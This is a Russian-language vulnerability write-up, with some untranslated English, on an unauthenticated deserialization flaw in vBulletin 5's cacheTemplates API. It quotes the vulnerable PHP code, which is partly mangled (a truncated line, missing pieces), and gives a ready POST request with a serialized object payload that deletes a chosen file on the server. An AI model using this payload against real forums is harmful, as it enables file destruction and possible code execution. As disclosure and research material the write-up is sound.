Обнаружена уязвимость, которая приводит к удалению файлов и, при определенных обстоятельствах, выполнению произвольного кода, выявленного в vBulletin версии 5.
vBulletin, разработанный vBulletin Solutions, Inc. на базе сервера баз данных PHP и MySQL, является широко распространенным проприетарным программным пакетом интернет-форума и поддерживает более 100 000 социальных сайтов в Интернете.
Небезопасное использование unserialize () для PHP, вводимого пользователем, позволяет злоумышленнику, не прошедшему проверку подлинности, удалять файлы и выполнять произвольный код.
vB_Library_Template - функция cacheTemplates (), представляющая собой публично открытый API, который позволяет извлекать информацию из набора заданных шаблонов из базы данных, чтобы хранить их внутри переменной кэша.
Ядро файла core/vb/api/template.php - функция cacheTemplates().
Параметры template.php
public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,
$force_set = false)
{
return vB_Library::instance('template')->cacheTemplates($templates, $templateidlist, $skip_bbcode_style, $for
Let’s take a look at $templateidlist — core/vb/library/template.php — function cacheTemplates():
public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,
$force_set = false)
{
$vboptions = vB::getDatastore()
// vB_Library_Style::switchCssStyle() may pass us a templateidlist that's already unserialized.
if (!is_array($templateidlist))
{
$templateidlist = unserialize($templateidlist);
}
foreach ($templates AS $template)
{
if (isset($templateidlist[$template]))
{
$templateids[] = intval($templateidlist[$template]);
}
}
if (!empty($templateids))
{
$temps = vB::getDbAssertor(array('title', 'textonly', 'template_un', 'template'));
// cache templates
foreach ($temps as $temp)
{
if (empty(self::$templatecache["$temp[title]"]) OR $force_set)
{
self::$templatecache["$temp[title]"] = $this;
}
}
}
if (!$skip_bbcode_style)
{
self::$bbcode_style = array(
'code' => &$templateassoc['bbcode_code_styleid'],
'html' => &$templateassoc['bbcode_html_styleid'],
'php' => &$templateassoc['bbcode_php_styleid'],
'quote' => &$templateassoc['bbcode_quote_styleid']
);
}
}
Переменная $temnplateidlist, которая может поступать непосредственно из пользовательского ввода, напрямую передается unserialize(), что приводит к произвольному примитиву десериализации.
Пример эксплуатации уязвимости
Отправляя следующий POST запрос, злоумышленник, не прошедший проверку подлинности, может удалять файлы с сервера-жертвы:
POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1
Host: vb533.test
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"%00*%00imagefilelocation";s:13:"/path/to/file";}
Ответ сервера:
HTTP/1.1 200 OK
Date: Fri, 27 Oct 2017 09:27:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly
Set-Cookie: lastvisit=1509096472; path=/; HttpOnly
Set-Cookie: lastactivity=1509096472; path=/; HttpOnly
Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly
Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
Expires: Sat, 1 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2101
Connection: close
Content-Type: application/json; charset=UTF-8
{"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]}